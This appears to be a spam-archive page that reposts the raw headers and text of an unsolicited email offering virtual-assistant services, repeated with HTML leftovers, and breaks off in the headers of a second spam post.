Subject: Re: Quick Follow-Up Virtual Assistant support for your team
Thread-Topic: Quick Follow-Up Virtual Assistant support for your team
Thread-Index: AdxXC+k+mwAbKKVATPKz1ER0KrstLABffef1AAAiquQAMnZmngAAC6E5
Date: Wed, 19 Nov 2025 13:02:01 +0000
Message-ID:
References:
In-Reply-To:
Accept-Language: en-IN, en-US
Content-Language: en-IN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
msip_labels:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SEZPR01MB5748:EE_|SG2PPF51BBEBCD7:EE_
x-ms-office365-filtering-correlation-id: b386f309-3245-48f6-60fe-08de276bd46e
x-ms-exchange-slblob-mailprops:
JdQcnb18bc6hjhwYPgg/o3wESSELRMGgCWMSWI1AALXqDQ+ANdqxb+gfiFvEhgpgUiMJG6JiS9RrFkdcRbLYL4sq3oG3IPTWPgAscwD2ffKv4VBuLlFUa1RnY4LfIGck/CZpBwOkn0M1NB4/rPZRwSL+9F+k3FeqZzlGT5PLFs8vFwQQrmSXBhmz9m1aac3K+BpiDbRFxGc1JxqErqKYMZ6oCpta2GrMOlrfKS6kNuzLqr/NxxzGDXVRD3LzncTYikVFSosl5bs9mwJ10siLCy1T3nHMQrxb/K/g6f7qSqfsON1d+p5KY3GihRcJbpH966YL3ccDQtjRYLCFWwCTN44PUQoIhmYhYuzqPG01v0rDxjYuFRwzLeHDN4AgpgftSk95K1IqUMLkXNEZW+GiXOvXpKSxROERXhDKkmCdk8QZHhHlMYMvmxgZR3sTzSkDl3MebJoFqwMiwmAj0NtECB1NTJR+jfJpXxB3GIfrYwuoMEHTfZVnn0gJtUu0mmmnaXWxNYQGjH0nI0xSZfm7Ni/2tAsVBfPubGv0VA3wKzLKk30+TrEbANkGzlQWWku6xCEh0Mzv53BcTTSgI3kyvwbIh6UL2tNmVvputSy0mdl3EfE7fXx+HnQZYxTPhdbHHAqX3oUyjBk=
x-microsoft-antispam:
BCL:0;ARA:14566002|8062599012|19110799012|15080799012|8060799015|31061999003|461199028|15030799006|39105399006|440099028|3412199025|40105399003|19061999003|39145399003|41105399003|102099032|1710799026;
x-microsoft-antispam-message-info:
=?Windows-1252?Q?wV4Q+YaNzped2IAd52dO7PKNAwclJV0cesmeLILH5z3NuywUt6f/E82S?=
=?Windows-1252?Q?E5CsvmzHavqjxQ3QPK2UctRuEWbnmIJy525G0MTMzlrYhVcFdIhfOi40?=
=?Windows-1252?Q?ynvcNhb6ZPVNfMGTN0uVUzgZP+bSmMFPZiLuzae5zG8AYAc+q0s0cts7?=
=?Windows-1252?Q?9+O4RYJz3RqrLVjLPfEu47ZwCpwxf1r4IfowKmc+bKWNftFd4xhhXoU1?=
=?Windows-1252?Q?dT247ye9Emh6W8+MJe7ky9INP1QmQUBVondfhqz885r5W+TWe7nSFPQG?=
=?Windows-1252?Q?LUmnCIgHEb5taldGLYNDxQmZvOvHT+Ya8U6XZnVCR236Er7WFC8eXVa1?=
=?Windows-1252?Q?LrOdGbMlq+/Wr5hZt+8XJCCQ/NHR+weC8Iovgarx+Tv6DCJDmsmEtxaC?=
=?Windows-1252?Q?hcA3mfMj7leM9OLrA22i+2EejYvZxvnOeicUX8sUDWOxDTVLyGgWmu38?=
=?Windows-1252?Q?qU+yWwhmxHGnwd1gGO0R2YmhPCRO6f56uuBs4F0q/KH5kNMhhgZnMcOV?=
=?Windows-1252?Q?jM9UKf7sxTsP2S01Th+Pb5YY2jIscRD0jI02cS1dG8/qUyInRcAVMa0R?=
=?Windows-1252?Q?3QL2rquA8F0PnXtezVQ19Ze350+oTEEsP8JDBYfXEGlJ+GXekWBbRrB6?=
=?Windows-1252?Q?RwH/bGlEtICHT3/asJ2EFIaGLN1PCyE9j/YUqcjxwOhN8ajERqIMW+58?=
=?Windows-1252?Q?QqzMHbVaeEjz2B56h2LRyzp/o0m4gQi7q4RdDQhAN4nwCOG7RvzMCCiL?=
=?Windows-1252?Q?M2RYB0aUFFhip40JnsVf9NuI+DCvkDQ4Z2wvcvfNkn/5yCzg2g4jlVSK?=
=?Windows-1252?Q?JxuHUk37EAzCcKl/lpHafc1Ui/x1Ho6TbC+1VObrODkFKoX68YS3LYKZ?=
=?Windows-1252?Q?5nJZdx2s0VUHbVqt8nLE6K9iZ+vXlwDbcX/hP/TkGvYZ5DBk+KS1lVxD?=
=?Windows-1252?Q?L2ePeN0uacVkwKj8IpwpxWhjns68CxqSQ1QqnPVsKf4Jef2e/Zrdtzy1?=
=?Windows-1252?Q?AwLcpty1dRy4yREwF6jjDIhn5RJ7wYZPVvzoytgeoN1jPubfFJ1fQ3HL?=
=?Windows-1252?Q?zEiCBpJgZ0e8JyBBrq8Dcn1K/PsI8+seUrInc8TqzklgyFsE15OndbtI?=
=?Windows-1252?Q?rWuTRm4rtJFrr6ah1H9iLFyGlX2qGfJiSz/wF07+Ky653F6HFdKwWgAY?=
=?Windows-1252?Q?68L+1GPHrNqySaxEW3/55WRoA8GU8wWiYeMs+YAPd/PEVG2UQx6W+E8h?=
=?Windows-1252?Q?Afzc4RJtIVwNg1yz7dB2YDzQIz+S0ttlYh8CusLAYthmzFz91OaW1q3m?=
=?Windows-1252?Q?kMDcYNoVnXuk+E6w9WcmUPVYrbpw7iUmcqMtY/BP4KbSghucjDR6ce1o?=
=?Windows-1252?Q?6QyULMLjZAfzn+SV8aj+FKDxoLksLOZMUsUDAhOEF1Cs99pCP893Z7xX?=
=?Windows-1252?Q?3kMjHh7M06mLCf399lnaSQ=3D=3D?=
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
=?Windows-1252?Q?0fA7W7zmRhax++pPCWMxHpYi/142kd5ZCWaYc3Thpa3XIr9WO+mnoZoG?=
=?Windows-1252?Q?gccKTfYrQIciHu/lCHr+GtIfSq60KDtePyOr3YPW7WMWtF2oj5qiZMug?=
=?Windows-1252?Q?szSdJwTJmSt7ViIA6kjPw2aBxSIwERUYE1HEpPG1JZjYWvPkBQEc5d/m?=
=?Windows-1252?Q?/gpJ9RwvnJrnxYkjKYhLVCTHL5/Nu/3r8iW7JOEmDM06lCx6pf3u/8TI?=
=?Windows-1252?Q?j3qeyUyJZ19yvbupII5xU1dEkI/FeDGLElCITUBahGO61Mhh88xicfJ1?=
=?Windows-1252?Q?VEvxDbrMveW2dQhbHIc1GZslUrTRVMrgd83BLrh32tiubNn36RwlbGGL?=
=?Windows-1252?Q?iTB/++ETBMe+dMhZ1B4vCF4FvuJXx9d5NOZTg6W7IJjbgfu3/ZAQnrkb?=
=?Windows-1252?Q?lY5MU/bYi5UUKiHD+XgiHByLaDRI8i0HraUpixW8doEgrYOvcf07EgBu?=
=?Windows-1252?Q?MyU3g4Rd1K++dovemtxT2NwMT3aGSJphANeXlBe8sp/GqSBX/6ASw0w4?=
=?Windows-1252?Q?QMMSsjiwQfTlqrxaMwanBt5uMVM+kI26iAc9b2yUmczNG6UwTN1NbKyo?=
=?Windows-1252?Q?p9zGLhy+LMILMcIPaLkbCjOJhFi4V9C4Lpzj2J3wRc+KD38opuUrw7Xq?=
=?Windows-1252?Q?/OhzGiu37aZSVzE/xLNwK0qlJW4lWQmYWA0RFJKzUzmqpfiKZQRoGfV1?=
=?Windows-1252?Q?1HctNAXAEayuHGDQffKy3dlI+efc/3ljF4ROC2Xyu+2J21S3zspvZU1s?=
=?Windows-1252?Q?gh1I0hcFLiJjTN2XVh/A1TDaPoq1fNQk/BS7Fe4VsIQki5uE8EQp5vcP?=
=?Windows-1252?Q?GYeWw8XNHY3iEVbQo37DtALhHrlAQg/QQHgvrwdopQlp41rN4WY9leQ6?=
=?Windows-1252?Q?VLkf2+rp7gvo4e8VTqAVGLOPpxOtscs93gGPLkIVH8lCGfgvvHxwp/6u?=
=?Windows-1252?Q?y5oF69WkSr8Wl8lWpGbd6/GY8pTe77xn3f+HHyUAzfi9tSkxfGo6PkuX?=
=?Windows-1252?Q?PiQO5Q16nmjteYutnXgNJIxWGi5B4KYUwPaa3RnNEUqtjoUKdXW9n1hm?=
=?Windows-1252?Q?HuKYRiYjPiiDuqPQ38m/mEXh8KKxCjA/im0oiTYjo+YyPSBLP5KEvnGY?=
=?Windows-1252?Q?PIruRv+4oTv45A6t2vN40w0oEW0bpKcdVzApgBKMQb3FrNogFq00Xq+f?=
=?Windows-1252?Q?yIY5Np0jVZyJ950vcvyQ0vBT4ge/TUTcpZSUYyGB0EQxYJ3X0QFKBPwv?=
=?Windows-1252?Q?0OcKRaHMOpbnp7fw2yW188wpznc8B6mHE0U/0BWll19jARdFOgeIDT8L?=
=?Windows-1252?Q?HRkGPmpmQ9AdpCr4RacXchjfCZbOlqErAS0Pd9HDWQniIitW?=
Content-Type: multipart/alternative;
boundary="_000_SEZPR01MB5748C32E104D6E3C0F6AD7FF87D7ASEZPR01MB5748apcp_"
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SEZPR01MB5748.apcprd01.prod.exchangelabs.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: b386f309-3245-48f6-60fe-08de276bd46e
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Nov 2025 13:02:01.1551
(UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SG2PPF51BBEBCD7
--_000_SEZPR01MB5748C32E104D6E3C0F6AD7FF87D7ASEZPR01MB5748apcp_
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
Hi,
Just checking in =97 would you be open to a quick 10-min chat to see how I =
can support your daily workflow?
Best,
Milton
________________________________
From: Milton Thomas
Sent: 13 November 2025 22:08
Subject: Virtual Assistant support for your team
Hi,
I help busy professionals manage emails, admin, and social media efficientl=
y.
Would you like me to share how I can support your daily workflow remotely?
Best regards,
Milton
--_000_SEZPR01MB5748C32E104D6E3C0F6AD7FF87D7ASEZPR01MB5748apcp_
Content-Type: text/html; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
252">
Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);" clas=
s=3D"elementToProof">
Hi, =
;
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:51:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLiZV-00000000JgP-3CSN
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:50:09 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 06:50:09 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-japaneastazolkn19013075.outbound.protection.outlook.com ([52.103.43.75]:17989 helo=TYDPR03CU002.outbound.protection.outlook.com)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLhqU-00000000EXv-0ZBm
for sales@nk.ca;
Wed, 19 Nov 2025 06:03:49 -0700
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
b=lzBzN/bDo//OPV4ooc/i497HXGofAx1ecHGbcnbknseF8NJcP92Y6+neIH+EFMQF8ZC6PmuNFj877nhD9Z26j7zpjrNyPumKK7748MVdXyUHVqeetnyvT7YR4Mwt573tJe9DENn4CKFa4IVrJ1Um6lW8qkFfiGD4b6R3iwowBhNBNNwRBEEStQumvBxXa5TfoIJ9hiBAS2pI+CY2P7zcbcwiQyZMWiq/D9Y4zUr+mE+jpirsYfuBcu4RvlFlg6eeWCBNapqt5DocEjJO9H6TV+B966KrfnaFDKH4FN/1wgOBp+IHdsE+u3u868P34m3kgk2p4TT6SlXY5jVRe3iO3Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
s=arcselector10001;
h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
bh=6UipF1POYDC2T/t50QrXLz5NR1Pum8ceAZjUfqzfNXE=;
b=uTcuXgI7jXeCLgzxCSZYpHFUvjxj5aa4O4lgHGfugsgfoVnROWo7dbDstXIY60mAdaBbBJgkuavQ3yVxQhKcy/SJQZMEBNBIkg6LUt1uay9obpeY7d1/LTwH0QVYLmdyN0Osc06bC96FMO20RB3+vVe2+iWG3nfopR6vrnwQVymq7uLKvNg0RLZ7NoaPE9hlR+CHNzSXjUr1LA6HbV9hn+c2CK6n1n3/U4S+X6b6xomcK41lJ1r/6Es3GK3Q5ESre7uXEBAZ1zBlDhb+2R0FTqtp9+ZrNTJ/ppOeIzm9X12oZxBtMCWVFp59t76pdASQmn1hiqloQzt3c70ELEaF0Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
s=selector1;
h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
bh=6UipF1POYDC2T/t50QrXLz5NR1Pum8ceAZjUfqzfNXE=;
b=BPbnnFg8yeyYyMJK8VHjnYtKIdINe9uOWgPgbAJ7BXN8wOM1bc2DHHIPMoWw2EY9amXfImHZeFVdBncsstiR2XX0aefihAa/TKHC9dP4UjTBWSKhSiRZwzj6q5btwbKx2Bh00Pa57tUKYzpjTcGG2ac394Q3DSkKJrB5iI2q6n2qigsFe4/tA03QZlbRYeh0Xr1J6X+5gSO6Jw1j7w4W/1CAUC2NIPvbIyzPXN/VfeAWQErG0x1eVpKVmQQkRidGzWNKEIbKpQqFHPtNUzAHnTvFICds6e6acRhZxpohzRd6ZvAOIXIdX9qEHxORRbrpvBa4/FrNFJJ+qlYjuRlwYQ==
Received: from SEZPR01MB5748.apcprd01.prod.exchangelabs.com
(2603:1096:101:196::10) by SG2PPF51BBEBCD7.apcprd01.prod.exchangelabs.com
(2603:1096:f:fff6::420) with Microsoft SMTP Server (version=TLS1_2,
cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.9298.8; Wed, 19 Nov
2025 13:02:01 +0000
Received: from SEZPR01MB5748.apcprd01.prod.exchangelabs.com
([fe80::9e85:3ca2:fb90:82d3]) by SEZPR01MB5748.apcprd01.prod.exchangelabs.com
([fe80::9e85:3ca2:fb90:82d3%7]) with mapi id 15.20.9343.009; Wed, 19 Nov 2025
13:02:01 +0000
From: Milton Thomas
To: Milton Thomas
Subject: Re: Quick Follow-Up Virtual Assistant support for your team
Thread-Topic: Quick Follow-Up Virtual Assistant support for your team
Thread-Index: AdxXC+k+mwAbKKVATPKz1ER0KrstLABffef1AAAiquQAMnZmngAAC6E5
Date: Wed, 19 Nov 2025 13:02:01 +0000
Message-ID:
References:
In-Reply-To:
Accept-Language: en-IN, en-US
Content-Language: en-IN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
msip_labels:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SEZPR01MB5748:EE_|SG2PPF51BBEBCD7:EE_
x-ms-office365-filtering-correlation-id: b386f309-3245-48f6-60fe-08de276bd46e
x-ms-exchange-slblob-mailprops:
JdQcnb18bc6hjhwYPgg/o3wESSELRMGgCWMSWI1AALXqDQ+ANdqxb+gfiFvEhgpgUiMJG6JiS9RrFkdcRbLYL4sq3oG3IPTWPgAscwD2ffKv4VBuLlFUa1RnY4LfIGck/CZpBwOkn0M1NB4/rPZRwSL+9F+k3FeqZzlGT5PLFs8vFwQQrmSXBhmz9m1aac3K+BpiDbRFxGc1JxqErqKYMZ6oCpta2GrMOlrfKS6kNuzLqr/NxxzGDXVRD3LzncTYikVFSosl5bs9mwJ10siLCy1T3nHMQrxb/K/g6f7qSqfsON1d+p5KY3GihRcJbpH966YL3ccDQtjRYLCFWwCTN44PUQoIhmYhYuzqPG01v0rDxjYuFRwzLeHDN4AgpgftSk95K1IqUMLkXNEZW+GiXOvXpKSxROERXhDKkmCdk8QZHhHlMYMvmxgZR3sTzSkDl3MebJoFqwMiwmAj0NtECB1NTJR+jfJpXxB3GIfrYwuoMEHTfZVnn0gJtUu0mmmnaXWxNYQGjH0nI0xSZfm7Ni/2tAsVBfPubGv0VA3wKzLKk30+TrEbANkGzlQWWku6xCEh0Mzv53BcTTSgI3kyvwbIh6UL2tNmVvputSy0mdl3EfE7fXx+HnQZYxTPhdbHHAqX3oUyjBk=
x-microsoft-antispam:
BCL:0;ARA:14566002|8062599012|19110799012|15080799012|8060799015|31061999003|461199028|15030799006|39105399006|440099028|3412199025|40105399003|19061999003|39145399003|41105399003|102099032|1710799026;
x-microsoft-antispam-message-info:
=?Windows-1252?Q?wV4Q+YaNzped2IAd52dO7PKNAwclJV0cesmeLILH5z3NuywUt6f/E82S?=
=?Windows-1252?Q?E5CsvmzHavqjxQ3QPK2UctRuEWbnmIJy525G0MTMzlrYhVcFdIhfOi40?=
=?Windows-1252?Q?ynvcNhb6ZPVNfMGTN0uVUzgZP+bSmMFPZiLuzae5zG8AYAc+q0s0cts7?=
=?Windows-1252?Q?9+O4RYJz3RqrLVjLPfEu47ZwCpwxf1r4IfowKmc+bKWNftFd4xhhXoU1?=
=?Windows-1252?Q?dT247ye9Emh6W8+MJe7ky9INP1QmQUBVondfhqz885r5W+TWe7nSFPQG?=
=?Windows-1252?Q?LUmnCIgHEb5taldGLYNDxQmZvOvHT+Ya8U6XZnVCR236Er7WFC8eXVa1?=
=?Windows-1252?Q?LrOdGbMlq+/Wr5hZt+8XJCCQ/NHR+weC8Iovgarx+Tv6DCJDmsmEtxaC?=
=?Windows-1252?Q?hcA3mfMj7leM9OLrA22i+2EejYvZxvnOeicUX8sUDWOxDTVLyGgWmu38?=
=?Windows-1252?Q?qU+yWwhmxHGnwd1gGO0R2YmhPCRO6f56uuBs4F0q/KH5kNMhhgZnMcOV?=
=?Windows-1252?Q?jM9UKf7sxTsP2S01Th+Pb5YY2jIscRD0jI02cS1dG8/qUyInRcAVMa0R?=
=?Windows-1252?Q?3QL2rquA8F0PnXtezVQ19Ze350+oTEEsP8JDBYfXEGlJ+GXekWBbRrB6?=
=?Windows-1252?Q?RwH/bGlEtICHT3/asJ2EFIaGLN1PCyE9j/YUqcjxwOhN8ajERqIMW+58?=
=?Windows-1252?Q?QqzMHbVaeEjz2B56h2LRyzp/o0m4gQi7q4RdDQhAN4nwCOG7RvzMCCiL?=
=?Windows-1252?Q?M2RYB0aUFFhip40JnsVf9NuI+DCvkDQ4Z2wvcvfNkn/5yCzg2g4jlVSK?=
=?Windows-1252?Q?JxuHUk37EAzCcKl/lpHafc1Ui/x1Ho6TbC+1VObrODkFKoX68YS3LYKZ?=
=?Windows-1252?Q?5nJZdx2s0VUHbVqt8nLE6K9iZ+vXlwDbcX/hP/TkGvYZ5DBk+KS1lVxD?=
=?Windows-1252?Q?L2ePeN0uacVkwKj8IpwpxWhjns68CxqSQ1QqnPVsKf4Jef2e/Zrdtzy1?=
=?Windows-1252?Q?AwLcpty1dRy4yREwF6jjDIhn5RJ7wYZPVvzoytgeoN1jPubfFJ1fQ3HL?=
=?Windows-1252?Q?zEiCBpJgZ0e8JyBBrq8Dcn1K/PsI8+seUrInc8TqzklgyFsE15OndbtI?=
=?Windows-1252?Q?rWuTRm4rtJFrr6ah1H9iLFyGlX2qGfJiSz/wF07+Ky653F6HFdKwWgAY?=
=?Windows-1252?Q?68L+1GPHrNqySaxEW3/55WRoA8GU8wWiYeMs+YAPd/PEVG2UQx6W+E8h?=
=?Windows-1252?Q?Afzc4RJtIVwNg1yz7dB2YDzQIz+S0ttlYh8CusLAYthmzFz91OaW1q3m?=
=?Windows-1252?Q?kMDcYNoVnXuk+E6w9WcmUPVYrbpw7iUmcqMtY/BP4KbSghucjDR6ce1o?=
=?Windows-1252?Q?6QyULMLjZAfzn+SV8aj+FKDxoLksLOZMUsUDAhOEF1Cs99pCP893Z7xX?=
=?Windows-1252?Q?3kMjHh7M06mLCf399lnaSQ=3D=3D?=
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
=?Windows-1252?Q?0fA7W7zmRhax++pPCWMxHpYi/142kd5ZCWaYc3Thpa3XIr9WO+mnoZoG?=
=?Windows-1252?Q?gccKTfYrQIciHu/lCHr+GtIfSq60KDtePyOr3YPW7WMWtF2oj5qiZMug?=
=?Windows-1252?Q?szSdJwTJmSt7ViIA6kjPw2aBxSIwERUYE1HEpPG1JZjYWvPkBQEc5d/m?=
=?Windows-1252?Q?/gpJ9RwvnJrnxYkjKYhLVCTHL5/Nu/3r8iW7JOEmDM06lCx6pf3u/8TI?=
=?Windows-1252?Q?j3qeyUyJZ19yvbupII5xU1dEkI/FeDGLElCITUBahGO61Mhh88xicfJ1?=
=?Windows-1252?Q?VEvxDbrMveW2dQhbHIc1GZslUrTRVMrgd83BLrh32tiubNn36RwlbGGL?=
=?Windows-1252?Q?iTB/++ETBMe+dMhZ1B4vCF4FvuJXx9d5NOZTg6W7IJjbgfu3/ZAQnrkb?=
=?Windows-1252?Q?lY5MU/bYi5UUKiHD+XgiHByLaDRI8i0HraUpixW8doEgrYOvcf07EgBu?=
=?Windows-1252?Q?MyU3g4Rd1K++dovemtxT2NwMT3aGSJphANeXlBe8sp/GqSBX/6ASw0w4?=
=?Windows-1252?Q?QMMSsjiwQfTlqrxaMwanBt5uMVM+kI26iAc9b2yUmczNG6UwTN1NbKyo?=
=?Windows-1252?Q?p9zGLhy+LMILMcIPaLkbCjOJhFi4V9C4Lpzj2J3wRc+KD38opuUrw7Xq?=
=?Windows-1252?Q?/OhzGiu37aZSVzE/xLNwK0qlJW4lWQmYWA0RFJKzUzmqpfiKZQRoGfV1?=
=?Windows-1252?Q?1HctNAXAEayuHGDQffKy3dlI+efc/3ljF4ROC2Xyu+2J21S3zspvZU1s?=
=?Windows-1252?Q?gh1I0hcFLiJjTN2XVh/A1TDaPoq1fNQk/BS7Fe4VsIQki5uE8EQp5vcP?=
=?Windows-1252?Q?GYeWw8XNHY3iEVbQo37DtALhHrlAQg/QQHgvrwdopQlp41rN4WY9leQ6?=
=?Windows-1252?Q?VLkf2+rp7gvo4e8VTqAVGLOPpxOtscs93gGPLkIVH8lCGfgvvHxwp/6u?=
=?Windows-1252?Q?y5oF69WkSr8Wl8lWpGbd6/GY8pTe77xn3f+HHyUAzfi9tSkxfGo6PkuX?=
=?Windows-1252?Q?PiQO5Q16nmjteYutnXgNJIxWGi5B4KYUwPaa3RnNEUqtjoUKdXW9n1hm?=
=?Windows-1252?Q?HuKYRiYjPiiDuqPQ38m/mEXh8KKxCjA/im0oiTYjo+YyPSBLP5KEvnGY?=
=?Windows-1252?Q?PIruRv+4oTv45A6t2vN40w0oEW0bpKcdVzApgBKMQb3FrNogFq00Xq+f?=
=?Windows-1252?Q?yIY5Np0jVZyJ950vcvyQ0vBT4ge/TUTcpZSUYyGB0EQxYJ3X0QFKBPwv?=
=?Windows-1252?Q?0OcKRaHMOpbnp7fw2yW188wpznc8B6mHE0U/0BWll19jARdFOgeIDT8L?=
=?Windows-1252?Q?HRkGPmpmQ9AdpCr4RacXchjfCZbOlqErAS0Pd9HDWQniIitW?=
Content-Type: multipart/alternative;
boundary="_000_SEZPR01MB5748C32E104D6E3C0F6AD7FF87D7ASEZPR01MB5748apcp_"
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SEZPR01MB5748.apcprd01.prod.exchangelabs.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: b386f309-3245-48f6-60fe-08de276bd46e
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Nov 2025 13:02:01.1551
(UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SG2PPF51BBEBCD7
--_000_SEZPR01MB5748C32E104D6E3C0F6AD7FF87D7ASEZPR01MB5748apcp_
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
Hi,
Just checking in =97 would you be open to a quick 10-min chat to see how I =
can support your daily workflow?
Best,
Milton
________________________________
From: Milton Thomas
Sent: 13 November 2025 22:08
Subject: Virtual Assistant support for your team
Hi,
I help busy professionals manage emails, admin, and social media efficientl=
y.
Would you like me to share how I can support your daily workflow remotely?
Best regards,
Milton
--_000_SEZPR01MB5748C32E104D6E3C0F6AD7FF87D7ASEZPR01MB5748apcp_
Content-Type: text/html; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
252">
Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);" clas=
s=3D"elementToProof">
Hi, =
;
amily: Calibri, sans-serif; font-size: 11pt;">
Just checking in =97 would you be open to a quick 10-min chat to see how I =
can support your daily workflow?
Best,
amily: Calibri, sans-serif; font-size: 11pt;">
Milton
gn=3D"center">
amily: Calibri, sans-serif; font-size: 11pt;">
From: Milton Thomas
Sent: 13 November 2025 22:08
Subject: Virtual Assistant support for your team
amily: Calibri, sans-serif; font-size: 11pt;">
amily: Calibri, sans-serif; font-size: 11pt;">
Hi,
amily: Calibri, sans-serif; font-size: 11pt;">
I help busy professionals manage emails, admin, and social media efficientl=
y.
amily: Calibri, sans-serif; font-size: 11pt;">
Would you like me to share how I can support your daily workflow remotely?<=
/p>
amily: Calibri, sans-serif; font-size: 11pt;">
Best regards,
amily: Calibri, sans-serif; font-size: 11pt;">
Milton
amily: Calibri, sans-serif; font-size: 11pt;">
--_000_SEZPR01MB5748C32E104D6E3C0F6AD7FF87D7ASEZPR01MB5748apcp_--
Business Financing spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:51:00 -0700
Received: from mail-ej1-f54.google.com ([209.85.218.54]:58699)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLiZR-00000000JZI-3T1h
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:50:15 -0700
Received: by mail-ej1-f54.google.com with SMTP id a640c23a62f3a-b739ef3f739so567767666b.1
for; Wed, 19 Nov 2025 05:49:18 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763560151; x=1764164951; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=VRgkT7EM0nCy1ssJXe96Ktsg28zjAQpvcmR8qAuNJLk=;
b=XmgbFRea0+ialfjpjbIZTCZWMpMIcSPFV075+kve/ex65YH1PDYqi5HibQ4rkJI3FW
HE48M+lgtc1OHLzphuoYX32pSHQ9oPA+Nb9LwMmnGB9JhOLS+UkDzuKONe9u5zJvL5q+
C4SOLCQ7Ry363FEcBUVZWsh/r9mhZxlLjZgZhrmGuELHiR6JcOKByPE41N5RcDhfUTK+
tSDA7nNhmOQHFuTsKWwdRJbtGvBma7Fs3Ifdp0UfUf9dpP3LfJn1DJ1+XO7xd1WDl9cn
I2WLCh3nYUfXxKPMYSJa0ER85N2bDfmCWkv/utRSSWmvvMpQy8qLRJLPBW9ziw6iF+s2
iy1w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763560151; x=1764164951;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=VRgkT7EM0nCy1ssJXe96Ktsg28zjAQpvcmR8qAuNJLk=;
b=jMEl86PIdkE6uHjwVblqx4NYfXbBuwhHavn5fbOKvNLdjtxHHMB9r7JRBk+5m5rFPr
rPhBw9jSakAbboskc23TnB0ZxXmmZ1OzxIzX0lbMxlTMW6snRWs2x9zR0Rj+9Ht6O9GL
zCx2KSdJ0g4sLVmDnqRN7LxoUg5u9rlV8n/Wo0KOCjgyzae8gbbevFG3TDTQbNSo/a31
FFW0tZaJi10IxN5wvyo2em5TGRA8pr1CGHVsRFkHCqwARCN3iHRLBS850sow9l35bYU9
cv0DmAGH/tVxcChi8hyfKAU1TmqJusZeZOrqkNXvhZiB81RccQ1gw4vUZyApxD0EA7/g
uQqw==
X-Forwarded-Encrypted: i=1; AJvYcCUjxrLNvLpwtLimIdl+71Te/i25EHb7fAu36Pfm3R4grqKwl0IfUlGVZ2+Fay4ZOzJrY7EB@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0YyjQUJAL3jeInHaVE/5zehhRgd+WwSSuncLvpBScqafFwx3dhcy
QqQzOUQKOf+5MoUH/6+kqE7wihJspeSoWZZ+oVm10RnC4h3ryguhsxUS9vdE3yHQ3j/MWncTaQI
TeXoAGIWgtDam8bzlqrgRvVbQdjruZUk=
